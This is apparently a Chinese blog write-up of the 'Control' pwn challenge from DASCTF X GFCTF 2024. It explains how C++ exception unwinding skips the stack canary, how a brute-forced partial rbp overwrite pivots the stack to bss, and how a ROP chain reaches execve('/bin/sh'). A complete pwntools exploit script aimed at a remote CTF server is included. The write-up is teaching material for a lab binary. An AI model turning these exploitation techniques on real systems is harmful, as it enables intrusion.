DASCTF X GFCTF 2024 Control爆破解法

64位,无PIE

向gift读入16字节

调用vuln函数

进行读入,但是当大小超过时会触发异常终止

控制点应该是在这部分异常处理上面

看一下_cxa_throw函数

异常处理时从__cxa_throw()时开始,之后进行unwind, cleanup, handler

在unwind内部会把控制权转移给对应的catch代码,而且这一部分是没有canary的,也就是直接绕开了canary保护

但是是不会执行发生异常的ret的

调试发现

返回是取决于帧指针的

ret的地址为[rbp+8]

想办法制造第二次读入

bss上面只给我们留了16字节,最多可以控制两个返回地址

可以先不要用这个gift

选择爆破bp的返回地址,00覆盖最后一位,让bp转到bss上面

接下来跳转read内部布置rop,准备二次读入

布置成下面这个样子

new bp

read

leave-》bp-》rop

fd-》0

buf-》newbp+8

count-》非常大

直接把ROP布置在BP的位置,只要爆破最后一位就有一定概率命中我们第一次的rop链

命中条件为

未改变的

bp后两位为70,数据则为A0

from pwn import*

context.update(arch="amd64", os="linux", log_level="debug")
context.terminal = ["qterminal", "-e"]
ret=p64(0x402238)
pop_rdi=p64(0x401c72)
pop_rsi=p64(0x405285)
pop_rdx=p64(0x401aff)
pop_rax=p64(0x462c27)
syscall=p64(0x040161e)

#p=process('./control')
#DASCTF{d477cabc-de69-4a6a-b5ec-6211dd30af47}
#gdb.attach(p,'b* 0x402164')
while(1):
    try:
        #p=process('./control')
        p=remote('node5.buuoj.cn',26647)
        p.recvuntil('>')
        sh=b'/bin/sh\x00'
        p.sendline(sh)
        sleep(0.1)
        p.recvuntil('?')
        Rop=pop_rdi+p64(0x4D3350)+pop_rsi+p64(0)+pop_rdx+p64(0)+pop_rax+p64(59)+syscall
        payload=ret+p64(0x4D3358)+p64(0x4621A7)+p64(0x402237)+p64(0)+p64(0x4D3360)+p64(0x100)+p64(0x402237)*7+b'\x08'
        p.send(payload)
        sleep(0.2)
        p.sendline(Rop)
        sleep(0.2)
        p.sendline(b'ls')
        sleep(0.1)
        p.sendline(b'ls')
        p.interactive()
    except:
        p.close()

概率为三十二分之一

踩坑:

异常处理过程会覆盖栈上面的一部分数据,第一次是不能布置完整ROP的,还是必须通过栈劫持的方式去read函数内部进行二次读入

最开始写的时候尝试进入二次异常处理,但是会卡住中间的某个函数调用上,尝试在布置rop的时候恢复数据,但是仍然不行,最后选择爆破

而且栈上面的数据给的很好,在read内部sp+28的部分刚好没有清除,用作了leave的返回地址

ps:远程环境有点奇怪,最后手动出的,当然也可以利用gift栈迁移

  • 11
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值